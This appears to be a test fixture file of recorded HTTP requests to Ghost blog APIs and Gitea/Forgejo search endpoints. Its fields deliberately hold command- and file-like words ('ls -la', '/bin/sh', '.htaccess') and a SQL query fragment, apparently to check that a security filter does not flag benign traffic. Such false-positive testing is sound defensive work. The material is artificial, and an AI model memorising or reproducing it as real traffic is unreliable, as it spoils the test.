sDBBQAAAAIAM9la12WkoJXiwAAAMEAAAAXABwAbm90ZXMtdGhlbWUvZGVmYXVsdC5oYnNVVAkAA6Zj9GqmY/RqdXgLAAEE6AMAAAToAwAANY6xDsIwDET3fkXIDqwMboQEzDCwMEWmdZtKKZGIGVDkf6cO6mTdO92dYXO+nu6P28UEnqNrQI+J+BpbW8oxT0y7mDqMJGIdBMLewUyMpgv4zsSt/fCwPSweTxzJlaKur0IE9isdQ8rsNa+09jTwTP3XdBFz1jVVvirdKn8gImt4SIk1rNgtHfXhH1BLAQIeAwoAAAAAAM9la10AAAAAAAAAAAAAAAAMABgAAAAAAAAAEAD9QQAAAABub3Rlcy10aGVtZS9VVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdXfnn43sAAACmAAAAFQAYAAAAAAABAAAAtIFGAAAAbm90ZXMtdGhlbWUvaW5kZXguaGJzVVQFAAOmY/RqdXgLAAEE6AMAAAToAwAAUEsBAh4DCgAAAAAAz2VrXQAAAAAAAAAAAAAAABUAGAAAAAAAAAAQAP1BEAEAAG5vdGVzLXRoZW1lL3BhcnRpYWxzL1VUBQADpmP0anV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAM9la11tuH02lQAAAPgAAAAUABgAAAAAAAEAAAC0gV8BAABub3Rlcy10aGVtZS9wYWdlLmhic1VUBQADpmP0anV4CwABBOgDAAAE6AMAAFBLAQIeAxQAAAAIAM9la12OG0f8uAAAAAcBAAAYABgAAAAAAAEAAAC0gUICAABub3Rlcy10aGVtZS9wYWNrYWdlLmpzb25VVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdbbh9NpUAAAD4AAAAFAAYAAAAAAABAAAAtIFMAwAAbm90ZXMtdGhlbWUvcG9zdC5oYnNVVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwECHgMUAAAACADPZWtdlpKCV4sAAADBAAAAFwAYAAAAAAABAAAAtIEvBAAAbm90ZXMtdGhlbWUvZGVmYXVsdC5oYnNVVAUAA6Zj9Gp1eAsAAQToAwAABOgDAABQSwUGAAAAAAcABwB3AgAACwUAAAAA\r\n------WebKitFormBoundaryzhPTWHSPscackPlN--\r\n"}
|
||||
# The requests below were sent to Ghost by a script with the admin's or a
|
||||
# member's headers. They hold words that name commands and files in more fields.
|
||||
{"method": "POST", "target": "/ghost/api/admin/authentication/setup/", "headers": ["Host: example.com", "Content-Length: 158", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"setup\":[{\"blogTitle\":\"Notes on python3, powershell & .htaccess\",\"name\":\"Alice ls -la Example\",\"email\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/session/", "headers": ["Host: example.com", "Content-Length: 64", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"username\":\"alice@example.com\",\"password\":\"Hv4-mQz8-Lr2x-Tp9w\"}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/users/6af54436a509340001efcee2/?include=roles", "headers": ["Host: example.com", "Content-Length: 1256", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"users\":[{\"id\":\"6af54436a509340001efcee2\",\"name\":\"Alice python3 & powershell\",\"slug\":\"alice-python3-powershell\",\"email\":\"alice@example.com\",\"profile_image\":null,\"cover_image\":null,\"bio\":\"I write about ls -la, python3, powershell and .htaccess files.\",\"website\":\"https://example.com/python3/powershell\",\"location\":\"Berlin & the python3 meetup\",\"facebook\":null,\"twitter\":null,\"threads\":null,\"bluesky\":null,\"mastodon\":null,\"tiktok\":null,\"youtube\":null,\"instagram\":null,\"linkedin\":null,\"accessibility\":\"{\\\"nightShift\\\":\\\"system\\\"}\",\"status\":\"active\",\"meta_title\":null,\"meta_description\":null,\"tour\":null,\"last_seen\":\"2026-11-12T04:44:42.000Z\",\"comment_notifications\":true,\"free_member_signup_notification\":true,\"paid_subscription_started_notification\":true,\"paid_subscription_canceled_notification\":false,\"mention_notifications\":true,\"recommendation_notifications\":true,\"milestone_notifications\":true,\"donation_notifications\":true,\"gift_subscription_notifications\":true,\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:42.000Z\",\"roles\":[{\"id\":\"6af54436a509340001efcee7\",\"name\":\"Owner\",\"description\":\"Blog Owner\",\"created_at\":\"2026-11-12T04:44:38.000Z\",\"updated_at\":\"2026-11-12T04:44:38.000Z\"}],\"url\":\"http://example.com/author/alice/\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 130", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"erin.htaccess@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"python3.dev@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/invites/", "headers": ["Host: example.com", "Content-Length: 132", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"invites\":[{\"email\":\"dave.powershell@example.com\",\"role_id\":\"6af54436a509340001efcee6\",\"expires\":null,\"status\":null,\"token\":null}]}"}
|
||||
{"method": "GET", "target": "/ghost/api/admin/authentication/invitation/?email=erin.htaccess%40example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": ""}
|
||||
{"method": "POST", "target": "/ghost/api/admin/authentication/invitation/", "headers": ["Host: example.com", "Content-Length: 243", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate"], "body": "{\"invitation\":[{\"token\":\"MTc5NTA2MzQ4MjU5MnxlcmluLmh0YWNjZXNzQGV4YW1wbGUuY29tfDUxbkp4aWJ4SzA4NzN0eUtIQWl5YzhyWFhKTjA0aWJ1ZDExendTVHQrSU09\",\"name\":\"Erin python3 & .htaccess\",\"password\":\"Rk7-Wq2z-Np5c-Lx8v\",\"email\":\"erin.htaccess@example.com\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/tiers/6af54437a509340001efcef1/", "headers": ["Host: example.com", "Content-Length: 474", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"tiers\":[{\"id\":\"6af54437a509340001efcef1\",\"name\":\"python3 & powershell club\",\"description\":\"Weekly ls -la and .htaccess tips\",\"slug\":\"default-product\",\"active\":true,\"type\":\"paid\",\"welcome_page_url\":null,\"created_at\":\"2026-11-12T04:44:39.000Z\",\"updated_at\":\"2026-11-12T04:44:39.000Z\",\"visibility\":\"public\",\"benefits\":[\"python3 scripts\",\"powershell recipes\",\"ls -la cheat sheet\",\".htaccess examples\"],\"currency\":\"USD\",\"monthly_price\":500,\"yearly_price\":5000,\"trial_days\":0}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/offers/", "headers": ["Host: example.com", "Content-Length: 391", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"offers\":[{\"name\":\"python3 launch\",\"code\":\"python3-launch\",\"display_title\":\"powershell & python3 deal\",\"display_description\":\"Half off for ls -la and .htaccess fans\",\"type\":\"percent\",\"cadence\":\"month\",\"amount\":50,\"duration\":\"once\",\"duration_in_months\":null,\"currency_restriction\":false,\"currency\":null,\"status\":\"active\",\"redemption_type\":\"signup\",\"tier\":{\"id\":\"6af54437a509340001efcef1\"}}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/recommendations/", "headers": ["Host: example.com", "Content-Length: 288", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"recommendations\":[{\"title\":\"python3 & powershell weekly\",\"description\":\"Tips on ls -la and .htaccess files\",\"excerpt\":\"A newsletter about python3, powershell, ls -la and .htaccess.\",\"featured_image\":null,\"favicon\":null,\"url\":\"https://example.com/python3/\",\"one_click_subscribe\":false}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/integrations/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 55", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/integrations/6af5443aa509340001efcfc6/?include=api_keys%2Cwebhooks", "headers": ["Host: example.com", "Content-Length: 128", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"integrations\":[{\"name\":\"python3 & powershell sync\",\"description\":\"Runs ls -la and tidies .htaccess files\",\"icon_image\":null}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/webhooks/", "headers": ["Host: example.com", "Content-Length: 202", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"webhooks\":[{\"event\":\"post.published\",\"target_url\":\"https://example.com/hooks/python3\",\"name\":\"python3 & powershell hook\",\"secret\":null,\"api_version\":\"v6\",\"integration_id\":\"6af5443aa509340001efcfc6\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/tags/?include=count.posts", "headers": ["Host: example.com", "Content-Length: 702", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3AWHEHmHzgM_62oH0uUMxh6TgpQCaauWmB.h%2FuJNd7nfwPSaFGmMarZNVguG8U1ZIIJsaLFE4%2BqXMA"], "body": "{\"tags\":[{\"name\":\"Shell\",\"slug\":\"shell\",\"description\":null,\"feature_image\":null,\"meta_title\":\"python3 & powershell tips\",\"meta_description\":\"Run ls -la and tidy .htaccess files with python3.\",\"canonical_url\":\"https://example.com/tag/powershell/\",\"twitter_image\":null,\"twitter_title\":\"powershell & python3\",\"twitter_description\":\"ls -la, .htaccess and more\",\"og_image\":null,\"og_title\":\"python3 & powershell\",\"og_description\":\"ls -la and .htaccess tips\",\"codeinjection_head\":\"<meta name=\\\"google-site-verification\\\" content=\\\"x\\\"><link rel=\\\"preconnect\\\" href=\\\"https://fonts.example.com\\\">\",\"codeinjection_foot\":\"<style>.tag-python3 { color: #333; }</style>\",\"accent_color\":null,\"visibility\":\"public\"}]}"}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical", "headers": ["Host: example.com", "Content-Length: 315", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"title\":\"Shell notes\",\"feature_image\":\"https://images.example.com/terminal.png\",\"feature_image_alt\":\"A terminal running ls -la on .htaccess with python3\",\"feature_image_caption\":\"python3 & powershell, photo by <a href=\\\"https://example.com/ls-la\\\">Erin</a>\"}]}"}
|
||||
{"method": "POST", "target": "/ghost/api/admin/members/upload/", "headers": ["Host: example.com", "Content-Length: 990", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: multipart/form-data; boundary=----WebKitFormBoundaryq3Lm8vXc2TzR7wKd", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"membersfile\"; filename=\"members.csv\"\r\nContent-Type: text/csv\r\n\r\nemail,name,note,labels\r\npython3.dev@example.com,Grace python3,Asked about ls -la,powershell\r\nerin.htaccess@example.com,Erin,Tidies .htaccess files,python3\r\n\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npython3 import\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"labels\"\r\n\r\npowershell & .htaccess\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[email]\"\r\n\r\nemail\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[name]\"\r\n\r\nname\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[note]\"\r\n\r\nnote\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd\r\nContent-Disposition: form-data; name=\"mapping[labels]\"\r\n\r\nlabels\r\n------WebKitFormBoundaryq3Lm8vXc2TzR7wKd--\r\n"}
|
||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&pathname=%2Fpython3-and-powershell%2F", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&source=powershell.example.com", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/stats/top-content/?date_from=2026-10-13&date_to=2026-11-12&timezone=Etc%2FUTC&member_status=all&utm_campaign=powershell+%26+python3", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
{"method": "PUT", "target": "/ghost/api/admin/posts/6af5443ba509340001efcfd1/?formats=mobiledoc%2Clexical&newsletter=default-newsletter&email_segment=label%3Apowershell-users", "headers": ["Host: example.com", "Content-Length: 74", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "content-type: application/json", "app-pragma: no-cache", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": "{\"posts\":[{\"updated_at\":\"2026-11-12T04:44:43.000Z\",\"status\":\"published\"}]}"}
|
||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27powershell+%26+python3%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
{"method": "GET", "target": "/ghost/api/admin/posts/?filter=status%3Apublished%2Btitle%3A%7E%27ls+-la+%26+.htaccess%27&limit=25&fields=id%2Ctitle&order=published_at+DESC", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "app-pragma: no-cache", "Accept: application/json, text/plain, */*", "Origin: http://example.com", "Referer: http://example.com/ghost/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-admin-api-session=s%3A0oed4vmdPUacOz5202Gz4DuzSj2EdRr8.yDcWOi%2FjeAs2xhgQ%2Brrm6eEUWSpZp3YslrhATMDAtCs"], "body": ""}
|
||||
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 161", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"status\":\"published\",\"html\":\"<p>Thanks! I ran <code>ls -la</code> and fixed my .htaccess with python3.</p>\"}]}"}
|
||||
{"method": "PUT", "target": "/members/api/comments/6af5443ba509340001efd00b/", "headers": ["Host: example.com", "Content-Length: 140", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"id\":\"6af5443ba509340001efd00b\",\"html\":\"<p>Thanks! I ran ls -la, then powershell, and fixed my .htaccess with python3.</p>\"}]}"}
|
||||
{"method": "POST", "target": "/members/api/comments/", "headers": ["Host: example.com", "Content-Length: 220", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Content-Type: application/json", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": "{\"comments\":[{\"post_id\":\"6af5443ba509340001efcfd1\",\"parent_id\":\"6af5443ba509340001efd00b\",\"in_reply_to_id\":\"6af5443ba509340001efd00b\",\"status\":\"published\",\"html\":\"<p>Same here: python3 & powershell both work.</p>\"}]}"}
|
||||
{"method": "GET", "target": "/members/api/comments/post/6af5443ba509340001efcfd1/?limit=20&filter=created_at%3A%3C%3D2026-11-12T04%3A44%3A43.000Z&page=2&order=created_at+desc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
|
||||
{"method": "GET", "target": "/members/api/comments/6af5443ba509340001efd00b/replies/?limit=5&filter=id%3A%3E%276af5443ba509340001efd010%27", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: */*", "Origin: http://example.com", "Referer: http://example.com/", "Accept-Encoding: gzip, deflate", "Cookie: ghost-members-ssr=5174dad7-2125-4e37-bb05-2aac35f959e9; ghost-members-ssr.sig=kPwob0aJ4RTyxR4cixOd33LpDNg"], "body": ""}
|
||||
@@ -381,6 +381,67 @@
|
||||
/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE&search_mode=exact
|
||||
/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE
|
||||
|
||||
# The API's searches that gitea and Forgejo share, sent with curl to gitea
|
||||
# 1.27.3. Each searches for words that name commands and files, such as python3
|
||||
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
|
||||
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
|
||||
# search of unadopted repositories takes an owner and a name.
|
||||
/api/v1/repos/search?q=python3&limit=10
|
||||
/api/v1/repos/search?q=powershell&limit=10
|
||||
/api/v1/repos/search?q=ls%20-la&limit=10
|
||||
/api/v1/repos/search?q=.htaccess&limit=10
|
||||
/api/v1/repos/search?q=docker-compose.yml&limit=10
|
||||
/api/v1/repos/search?q=tools&limit=10
|
||||
/api/v1/users/search?q=python3
|
||||
/api/v1/users/search?q=powershell
|
||||
/api/v1/users/search?q=ls%20-la
|
||||
/api/v1/users/search?q=.htaccess
|
||||
/api/v1/users/search?q=bob
|
||||
/api/v1/repos/issues/search?q=python3&type=issues&state=open
|
||||
/api/v1/repos/issues/search?q=powershell&type=issues&state=open
|
||||
/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open
|
||||
/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open
|
||||
/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open
|
||||
/api/v1/repos/issues/search?q=build&type=issues&state=open
|
||||
/api/v1/repos/alice/tools/issues?state=open&q=python3
|
||||
/api/v1/repos/alice/tools/issues?state=open&q=powershell
|
||||
/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la
|
||||
/api/v1/repos/alice/tools/issues?state=open&q=.htaccess
|
||||
/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml
|
||||
/api/v1/packages/alice?q=python3
|
||||
/api/v1/packages/alice?q=powershell
|
||||
/api/v1/packages/alice?q=ls%20-la
|
||||
/api/v1/packages/alice?q=.htaccess
|
||||
/api/v1/packages/alice?q=%2Fbin%2Fsh
|
||||
/api/v1/packages/alice?q=install-script
|
||||
/api/v1/packages/alice?q=%40alice%2Ftools-cli
|
||||
/api/v1/topics/search?q=python3
|
||||
/api/v1/topics/search?q=powershell
|
||||
/api/v1/topics/search?q=ls%20-la
|
||||
/api/v1/topics/search?q=.htaccess
|
||||
/api/v1/topics/search?q=docker
|
||||
/api/v1/orgs/acme/teams/search?q=python3
|
||||
/api/v1/orgs/acme/teams/search?q=powershell
|
||||
/api/v1/orgs/acme/teams/search?q=ls%20-la
|
||||
/api/v1/orgs/acme/teams/search?q=.htaccess
|
||||
/api/v1/orgs/acme/teams/search?q=developers
|
||||
/api/v1/admin/emails/search?q=python3
|
||||
/api/v1/admin/emails/search?q=powershell
|
||||
